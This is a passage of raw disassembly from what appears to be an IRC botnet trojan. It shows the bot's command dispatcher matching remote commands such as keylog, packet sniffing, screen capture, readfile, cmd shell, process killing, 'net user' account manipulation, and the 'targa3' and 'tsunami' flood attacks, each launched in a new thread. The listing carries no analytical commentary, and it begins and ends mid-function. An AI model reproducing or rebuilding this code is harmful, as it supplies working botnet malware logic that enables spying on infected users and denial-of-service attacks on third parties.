		call	sub_4177DF
		add	esp, 14h
		call	sub_41BAD2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp+esi-88h]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41BA76
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_4177DF
		add	esp, 14h


loc_405751:				; CODE XREF: seg000:0040563Fj
					; seg000:0040564Cj
		push	dword ptr [ebp+18h]
		push	offset aRegister ; "register"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405797
		mov	eax, [ebp+esi-84h]
		cmp	eax, ebx
		jz	short loc_405797
		push	eax
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp+esi-88h]
		push	offset aNickservRegist ; "nickserv register %s %s"
		push	eax
		call	sub_41BA76
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_4177DF
		add	esp, 14h


loc_405797:				; CODE XREF: seg000:00405762j
					; seg000:0040576Dj
		push	dword ptr [ebp+18h]
		push	offset aOff	; "off"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406266
		mov	edi, offset dword_4D6C4C


loc_4057B3:				; CODE XREF: seg000:004057D2j
		cmp	dword ptr [edi-4], 1
		jnz	short loc_4057C6
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_4057C6
		push	eax
		call	ds:dword_4CDC90	; closesocket


loc_4057C6:				; CODE XREF: seg000:004057B7j
					; seg000:004057BDj
		add	edi, 210h
		cmp	edi, offset dword_4DD36C
		jl	short loc_4057B3
		cmp	[ebp-8], ebx
		jnz	loc_406266
		push	ebx
		push	dword ptr [ebp-4]
		push	offset unk_42CA00
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_409966
		add	esp, 14h
		jmp	loc_406266
; ---------------------------------------------------------------------------


loc_4057FC:				; CODE XREF: seg000:00404CABj
		mov	edi, [ebp+10h]
		push	edi
		push	offset aNick_0	; "nick"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409663
		push	edi
		push	offset aN	; "n"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409663
		push	edi
		push	offset aJoin	; "join"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40963F
		push	edi
		push	offset aJ	; "j"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40963F
		push	edi
		push	offset aPart_0	; "part"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409622
		push	edi
		push	offset aPt	; "pt"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409622
		push	edi
		push	offset aRaw	; "raw"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095E9
		push	edi
		push	offset aR	; "r"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095E9
		push	edi
		push	offset aKillthread ; "killthread"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409537
		push	edi
		push	offset aK	; "k"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409537
		push	edi
		push	offset aC_quit	; "c_quit"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409489
		push	edi
		push	offset aC_q	; "c_q"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409489
		push	edi
		push	offset aC_rndnick ; "c_rndnick"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40943A
		push	edi
		push	offset aC_rn	; "c_rn"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40943A
		push	edi
		push	offset aPrefix	; "prefix"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409421
		push	edi
		push	offset aPr	; "pr"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409421
		push	edi
		push	offset aOpen	; "open"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4093F3
		push	edi
		push	offset aO	; "o"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4093F3
		push	edi
		push	offset aS3rv3rfg ; "s3rv3rfg"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4093CA
		push	edi
		push	offset aS3rv3rfg2 ; "s3rv3rfg2"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4093CA
		push	edi
		push	offset aDns	; "dns"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409362
		push	edi
		push	offset aDn	; "dn"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409362
		push	edi
		push	offset aKillproc ; "killproc"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409332
		push	edi
		push	offset aKp	; "kp"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409332
		push	edi
		push	offset aKill	; "kill"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4092D3
		push	edi
		push	offset aKi	; "ki"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4092D3
		push	edi
		push	offset aDelete	; "delete"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409298
		push	edi
		push	offset aDel	; "del"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409298
		push	edi
		push	offset aGet	; "get"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4091B6
		push	edi
		push	offset aGt	; "gt"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4091B6
		push	edi
		push	offset aList	; "list"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409197
		push	edi
		push	offset aLi	; "li"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409197
		push	edi
		push	offset aVisit	; "visit"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090B6
		push	edi
		push	offset aV	; "v"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090B6
		push	edi
		push	offset aMirccmd	; "mirccmd"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409040
		push	edi
		push	offset aMirc	; "mirc"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409040
		push	edi
		push	offset aCmd	; "cmd"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408FEA
		push	edi
		push	offset aCm	; "cm"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408FEA
		push	edi
		push	offset aReadfile ; "readfile"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408F5F
		push	edi
		push	offset aRf	; "rf"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408F5F
		push	edi
		push	offset aPsniff	; "psniff"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C95
		push	dword ptr [ebp+18h]
		push	offset aOn	; "on"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C5B
		push	20h
		call	sub_40B1B3
		test	eax, eax
		pop	ecx
		jle	short loc_405B89
		push	offset dword_42C8F0
		jmp	loc_406E9B
; ---------------------------------------------------------------------------


loc_405B89:				; CODE XREF: seg000:00405B7Dj
		mov	eax, [ebp+0Ch]
		mov	esi, [ebp+esi-88h]
		mov	[ebp-0FE8h], eax
		mov	eax, [ebp-4]
		mov	[ebp-0F60h], eax
		mov	eax, [ebp-8]
		cmp	esi, ebx
		mov	[ebp-0F5Ch], eax
		jnz	short loc_405BCB
		mov	esi, offset aFa	; "#fa"
		push	offset dword_43FDB4
		push	esi
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405BCB
		mov	esi, [ebp-88h]


loc_405BCB:				; CODE XREF: seg000:00405BADj
					; seg000:00405BC3j
		push	esi
		lea	eax, [ebp-0FE4h]
		push	80h
		push	eax
		call	sub_41BB70
		lea	eax, [ebp-2C0h]
		push	offset dword_42C8C0
		push	eax
		call	sub_41BA76
		push	ebx
		lea	eax, [ebp-2C0h]
		push	20h
		push	eax
		call	sub_40AF71
		add	esp, 20h
		mov	[ebp-0F64h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-0FE8h]
		push	ebx
		push	eax
		push	offset loc_412128
		push	ebx
		push	ebx
		call	ds:dword_42807C	; CreateThread
		mov	ecx, [ebp-0F64h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_440B4C[ecx], eax
		jnz	short loc_405C4E
		call	ds:dword_42808C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42C884
		jmp	loc_405F42
; ---------------------------------------------------------------------------


loc_405C46:				; CODE XREF: seg000:00405C54j
		push	32h
		call	ds:dword_428064	; Sleep


loc_405C4E:				; CODE XREF: seg000:00405C33j
		cmp	[ebp-0F58h], ebx
		jz	short loc_405C46
		jmp	loc_406EA9
; ---------------------------------------------------------------------------


loc_405C5B:				; CODE XREF: seg000:00405B6Dj
		push	dword ptr [ebp+18h]
		push	offset aOff	; "off"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406EA9
		push	ebx
		push	20h
		call	sub_40B166
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405C8B
		push	eax
		push	offset dword_42C848
		jmp	loc_405F42
; ---------------------------------------------------------------------------


loc_405C8B:				; CODE XREF: seg000:00405C7Ej
		push	offset dword_42C81C
		jmp	loc_406E9B
; ---------------------------------------------------------------------------


loc_405C95:				; CODE XREF: seg000:00405B56j
		push	edi
		push	offset aSniffer	; "sniffer"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405DE3
		push	dword ptr [ebp+18h]
		push	offset aOn	; "on"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405DA9
		push	21h
		call	sub_40B1B3
		test	eax, eax
		pop	ecx
		jle	short loc_405CD7
		push	offset unk_42C7F4
		jmp	loc_406E9B
; ---------------------------------------------------------------------------


loc_405CD7:				; CODE XREF: seg000:00405CCBj
		mov	eax, [ebp+0Ch]
		mov	esi, [ebp+esi-88h]
		mov	[ebp-0EC0h], eax
		mov	eax, [ebp-4]
		mov	[ebp-0E38h], eax
		mov	eax, [ebp-8]
		cmp	esi, ebx
		mov	[ebp-0E34h], eax
		jnz	short loc_405D19
		mov	esi, offset aFa	; "#fa"
		push	offset dword_43FDB4
		push	esi
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405D19
		mov	esi, [ebp-88h]


loc_405D19:				; CODE XREF: seg000:00405CFBj
					; seg000:00405D11j
		push	esi
		lea	eax, [ebp-0EBCh]
		push	80h
		push	eax
		call	sub_41BB70
		lea	eax, [ebp-2C0h]
		push	offset unk_42C7C4
		push	eax
		call	sub_41BA76
		push	ebx
		lea	eax, [ebp-2C0h]
		push	21h
		push	eax
		call	sub_40AF71
		add	esp, 20h
		mov	[ebp-0E3Ch], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-0EC0h]
		push	ebx
		push	eax
		push	offset loc_4127AD
		push	ebx
		push	ebx
		call	ds:dword_42807C	; CreateThread
		mov	ecx, [ebp-0E3Ch]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_440B4C[ecx], eax
		jnz	short loc_405D9C
		call	ds:dword_42808C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42C788
		jmp	loc_405F42
; ---------------------------------------------------------------------------


loc_405D94:				; CODE XREF: seg000:00405DA2j
		push	32h
		call	ds:dword_428064	; Sleep


loc_405D9C:				; CODE XREF: seg000:00405D81j
		cmp	[ebp-0E30h], ebx
		jz	short loc_405D94
		jmp	loc_406EA9
; ---------------------------------------------------------------------------


loc_405DA9:				; CODE XREF: seg000:00405CBBj
		push	dword ptr [ebp+18h]
		push	offset aOff	; "off"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406EA9
		push	ebx
		push	21h
		call	sub_40B166
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405DD9
		push	eax
		push	offset unk_42C748
		jmp	loc_405F42
; ---------------------------------------------------------------------------


loc_405DD9:				; CODE XREF: seg000:00405DCCj
		push	offset unk_42C714
		jmp	loc_406E9B
; ---------------------------------------------------------------------------


loc_405DE3:				; CODE XREF: seg000:00405CA4j
		push	edi
		push	offset aKeylog	; "keylog"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405F6B
		push	dword ptr [ebp+18h]
		push	offset aOn	; "on"
		call	sub_41C260
		pop	ecx
		mov	edi, offset aFile ; "file"
		test	eax, eax
		pop	ecx
		jz	short loc_405E59
		push	dword ptr [ebp+18h]
		push	edi
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_405E59
		push	dword ptr [ebp+18h]
		push	offset aOff	; "off"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406EA9
		push	ebx
		push	23h
		call	sub_40B166
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405E4F
		push	eax
		push	offset dword_42C6C8
		jmp	loc_405F42
; ---------------------------------------------------------------------------


loc_405E4F:				; CODE XREF: seg000:00405E42j
		push	offset dword_42C69C
		jmp	loc_406E9B
; ---------------------------------------------------------------------------


loc_405E59:				; CODE XREF: seg000:00405E0Ej
					; seg000:00405E1Dj
		push	23h
		call	sub_40B1B3
		test	eax, eax
		pop	ecx
		jle	short loc_405E6F
		push	offset dword_42C67C
		jmp	loc_406E9B
; ---------------------------------------------------------------------------


loc_405E6F:				; CODE XREF: seg000:00405E63j
		mov	eax, [ebp+0Ch]
		push	dword ptr [ebp+18h]
		mov	[ebp-0C58h], eax
		mov	eax, [ebp-4]
		push	edi
		mov	[ebp-0BD0h], eax
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405E9C
		mov	dword ptr [ebp-0BCCh], 1
		jmp	short loc_405EA5
; ---------------------------------------------------------------------------


loc_405E9C:				; CODE XREF: seg000:00405E8Ej
		mov	eax, [ebp-8]
		mov	[ebp-0BCCh], eax


loc_405EA5:				; CODE XREF: seg000:00405E9Aj
		mov	esi, [ebp+esi-88h]
		cmp	esi, ebx
		jnz	short loc_405ECC
		mov	esi, offset aBo_1 ; "#bo-"
		push	offset dword_43FDB4
		push	esi
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405ECC
		mov	esi, [ebp-88h]


loc_405ECC:				; CODE XREF: seg000:00405EAEj
					; seg000:00405EC4j
		push	esi
		lea	eax, [ebp-0C50h]
		push	80h
		push	eax
		call	sub_41BB70
		lea	eax, [ebp-2C0h]
		push	offset dword_42C658
		push	eax
		call	sub_41BA76
		push	ebx
		lea	eax, [ebp-2C0h]
		push	23h
		push	eax
		call	sub_40AF71
		add	esp, 20h
		mov	[ebp-0C54h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-0C58h]
		push	ebx
		push	eax
		push	offset loc_411E53
		push	ebx
		push	ebx
		call	ds:dword_42807C	; CreateThread
		mov	ecx, [ebp-0C54h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_440B4C[ecx], eax
		jnz	short loc_405F5E
		call	ds:dword_42808C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42C61C


loc_405F42:				; CODE XREF: seg000:00403BA4j
					; seg000:004049D5j ...
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_41BA76


loc_405F4E:				; CODE XREF: seg000:004049CAj
					; seg000:00406FF4j
		add	esp, 0Ch
		jmp	loc_406EA9
; ---------------------------------------------------------------------------


loc_405F56:				; CODE XREF: seg000:00405F64j
		push	32h
		call	ds:dword_428064	; Sleep


loc_405F5E:				; CODE XREF: seg000:00405F34j
		cmp	[ebp-0BC8h], ebx
		jz	short loc_405F56
		jmp	loc_406EA9
; ---------------------------------------------------------------------------


loc_405F6B:				; CODE XREF: seg000:00405DF2j
		push	edi
		push	offset aNet	; "net"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406212
		cmp	ds:dword_4CDCC4, ebx
		jz	short loc_405F9A
		cmp	ds:dword_4CDCEC, ebx
		jz	short loc_405F9A
		push	offset unk_42C5E0
		jmp	loc_4061FF
; ---------------------------------------------------------------------------


loc_405F9A:				; CODE XREF: seg000:00405F86j
					; seg000:00405F8Ej
		cmp	[ebp-0Ch], ebx
		jz	loc_406C7F
		mov	edi, [ebp+esi-88h]
		mov	[ebp+8], ebx
		cmp	edi, ebx
		jz	short loc_405FBF
		push	edi
		push	dword ptr [ebp-0Ch]
		call	sub_41BAF0
		pop	ecx
		mov	[ebp+8], eax
		pop	ecx


loc_405FBF:				; CODE XREF: seg000:00405FAFj
		push	dword ptr [ebp+18h]
		push	offset aStart	; "start"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40602C
		cmp	edi, ebx
		jz	short loc_405FFA
		push	dword ptr [ebp+8]
		push	3


loc_405FDB:				; CODE XREF: seg000:00406044j
					; seg000:0040605Ej ...
		call	sub_4188AF
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset aS_2	; "%s"
		push	eax
		call	sub_41BA76
		add	esp, 14h
		jmp	loc_406C7F
; ---------------------------------------------------------------------------


loc_405FFA:				; CODE XREF: seg000:00405FD4j
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_418B56
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp-2C0h]
		jz	short loc_406022
		push	offset unk_42C5B4
		jmp	loc_406205
; ---------------------------------------------------------------------------


loc_406022:				; CODE XREF: seg000:00406016j
		push	offset unk_42C594
		jmp	loc_406205
; ---------------------------------------------------------------------------


loc_40602C:				; CODE XREF: seg000:00405FD0j
		push	dword ptr [ebp+18h]
		push	offset aStop	; "stop"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406046
		push	dword ptr [ebp+8]
		push	4
		jmp	short loc_405FDB
; ---------------------------------------------------------------------------


loc_406046:				; CODE XREF: seg000:0040603Dj
		push	dword ptr [ebp+18h]
		push	offset aPause	; "pause"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406063
		push	dword ptr [ebp+8]
		push	5
		jmp	loc_405FDB
; ---------------------------------------------------------------------------


loc_406063:				; CODE XREF: seg000:00406057j
		push	dword ptr [ebp+18h]
		push	offset aContinue ; "continue"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406080
		push	dword ptr [ebp+8]
		push	6
		jmp	loc_405FDB
; ---------------------------------------------------------------------------


loc_406080:				; CODE XREF: seg000:00406074j
		push	dword ptr [ebp+18h]
		push	offset aDelete	; "delete"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40609D
		push	dword ptr [ebp+8]
		push	1
		jmp	loc_405FDB
; ---------------------------------------------------------------------------


loc_40609D:				; CODE XREF: seg000:00406091j
		push	dword ptr [ebp+18h]
		push	offset aShare	; "share"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40611D
		cmp	edi, ebx
		jz	short loc_4060EA
		cmp	[ebp-8F8h], bl
		jz	short loc_4060C2
		push	ebx
		push	edi
		push	1
		jmp	short loc_4060CB
; ---------------------------------------------------------------------------


loc_4060C2:				; CODE XREF: seg000:004060BAj
		push	dword ptr [ebp+esi-84h]
		push	edi
		push	ebx


loc_4060CB:				; CODE XREF: seg000:004060C0j
		call	sub_418C96
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset aS_2	; "%s"
		push	eax
		call	sub_41BA76
		add	esp, 18h
		jmp	loc_406C7F
; ---------------------------------------------------------------------------


loc_4060EA:				; CODE XREF: seg000:004060B2j
		push	ebx
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_418E8B
		add	esp, 10h
		test	eax, eax
		lea	eax, [ebp-2C0h]
		jz	short loc_406113
		push	offset unk_42C54C
		jmp	loc_406205
; ---------------------------------------------------------------------------


loc_406113:				; CODE XREF: seg000:00406107j
		push	offset unk_42C52C
		jmp	loc_406205
; ---------------------------------------------------------------------------


loc_40611D:				; CODE XREF: seg000:004060AEj
		push	dword ptr [ebp+18h]
		push	offset aUser	; "user"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4061AE
		cmp	edi, ebx
		jz	short loc_406181
		push	dword ptr [ebp-4]
		cmp	[ebp-8F8h], bl
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		jz	short loc_40614E
		push	ebx
		push	edi
		push	1
		jmp	short loc_406162
; ---------------------------------------------------------------------------


loc_40614E:				; CODE XREF: seg000:00406146j
		mov	esi, [ebp+esi-84h]
		cmp	esi, ebx
		jz	short loc_40615E
		push	esi
		push	edi
		push	ebx
		jmp	short loc_406162
; ---------------------------------------------------------------------------


loc_40615E:				; CODE XREF: seg000:00406157j
		push	ebx
		push	edi
		push	2


loc_406162:				; CODE XREF: seg000:0040614Cj
					; seg000:0040615Cj
		call	sub_418FAC
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset aS_2	; "%s"
		push	eax
		call	sub_41BA76
		add	esp, 24h
		jmp	loc_406C7F
; ---------------------------------------------------------------------------


loc_406181:				; CODE XREF: seg000:00406132j
		push	ebx
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_4194C0
		add	esp, 10h
		test	eax, eax
		lea	eax, [ebp-2C0h]
		jz	short loc_4061A7
		push	offset unk_42C50C
		jmp	short loc_406205
; ---------------------------------------------------------------------------


loc_4061A7:				; CODE XREF: seg000:0040619Ej
		push	offset unk_42C4EC
		jmp	short loc_406205
; ---------------------------------------------------------------------------


loc_4061AE:				; CODE XREF: seg000:0040612Ej
		push	dword ptr [ebp+18h]
		push	offset aSend	; "send"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4061FA
		cmp	edi, ebx
		jz	short loc_4061F3
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	loc_41976A
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset aS_2	; "%s"
		push	eax
		call	sub_41BA76
		add	esp, 1Ch
		jmp	loc_406C7F
; ---------------------------------------------------------------------------


loc_4061F3:				; CODE XREF: seg000:004061C3j
		push	offset unk_42C4C0
		jmp	short loc_4061FF
; ---------------------------------------------------------------------------


loc_4061FA:				; CODE XREF: seg000:004061BFj
		push	offset unk_42C4A4


loc_4061FF:				; CODE XREF: seg000:00404975j
					; seg000:00405F95j ...
		lea	eax, [ebp-2C0h]


loc_406205:				; CODE XREF: seg000:0040601Dj
					; seg000:00406027j ...
		push	eax
		call	sub_41BA76
		pop	ecx
		pop	ecx
		jmp	loc_406C7F
; ---------------------------------------------------------------------------


loc_406212:				; CODE XREF: seg000:00405F7Aj
		push	edi
		push	offset aCapture	; "capture"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D1B
		push	edi
		push	offset aCap	; "cap"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D1B
		push	edi
		push	offset aGethost	; "gethost"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C37
		push	edi
		push	offset aGh	; "gh"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C37


loc_406266:				; CODE XREF: seg000:004057A8j
					; seg000:004057D7j ...
		mov	edi, [ebp+esi-88h]
		cmp	edi, ebx
		mov	[ebp+24h], edi
		jz	loc_401F82
		push	dword ptr [ebp+10h]
		push	offset aKilllog	; "killlog"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C1A
		push	dword ptr [ebp+10h]
		push	offset aKl	; "kl"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C1A
		push	dword ptr [ebp+10h]
		push	offset aAddalias ; "addalias"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BD9
		push	dword ptr [ebp+10h]
		push	offset aAa	; "aa"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BD9
		push	dword ptr [ebp+10h]
		push	offset aPrivmsg_0 ; "privmsg"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B7F
		push	dword ptr [ebp+10h]
		push	offset dword_42CBB4
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B7F
		push	dword ptr [ebp+10h]
		push	offset aAction	; "action"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B0D
		push	dword ptr [ebp+10h]
		push	offset aA	; "a"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B0D
		push	dword ptr [ebp+10h]
		push	offset aCycle	; "cycle"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408AA9
		push	dword ptr [ebp+10h]
		push	offset aCy	; "cy"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408AA9
		push	dword ptr [ebp+10h]
		push	offset aMode	; "mode"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A6B
		push	dword ptr [ebp+10h]
		push	offset aM	; "m"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A6B
		push	dword ptr [ebp+10h]
		push	offset aC_raw	; "c_raw"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089FF
		push	dword ptr [ebp+10h]
		push	offset aC_r	; "c_r"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089FF
		push	dword ptr [ebp+10h]
		push	offset aC_mode	; "c_mode"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40897C
		push	dword ptr [ebp+10h]
		push	offset aC_m	; "c_m"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40897C
		push	dword ptr [ebp+10h]
		push	offset aC_nick	; "c_nick"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40890F
		push	dword ptr [ebp+10h]
		push	offset aC_n	; "c_n"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40890F
		push	dword ptr [ebp+10h]
		push	offset aC_join	; "c_join"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4088E9
		push	dword ptr [ebp+10h]
		push	offset aC_j	; "c_j"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4088E9
		push	dword ptr [ebp+10h]
		push	offset aC_part	; "c_part"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408885
		push	dword ptr [ebp+10h]
		push	offset aC_p	; "c_p"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408885
		push	dword ptr [ebp+10h]
		push	offset aTarga3	; "targa3"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40878D
		push	dword ptr [ebp+10h]
		push	offset aT3	; "t3"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40878D
		push	dword ptr [ebp+10h]
		push	offset aTsunami	; "tsunami"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4086BC
		push	dword ptr [ebp+10h]
		push	offset aTsn	; "tsn"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4086BC
		push	dword ptr [ebp+10h]
		push	offset aRepeat	; "repeat"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085F7
		push	dword ptr [ebp+10h]
		push	offset aRp	; "rp"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085F7
		push	dword ptr [ebp+10h]
		push	offset aDelay	; "delay"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40855A
		push	dword ptr [ebp+10h]
		push	offset aDe	; "de"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40855A
		push	dword ptr [ebp+10h]
		push	offset aFalehupd ; "falehupd"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4083DE
		push	dword ptr [ebp+10h]
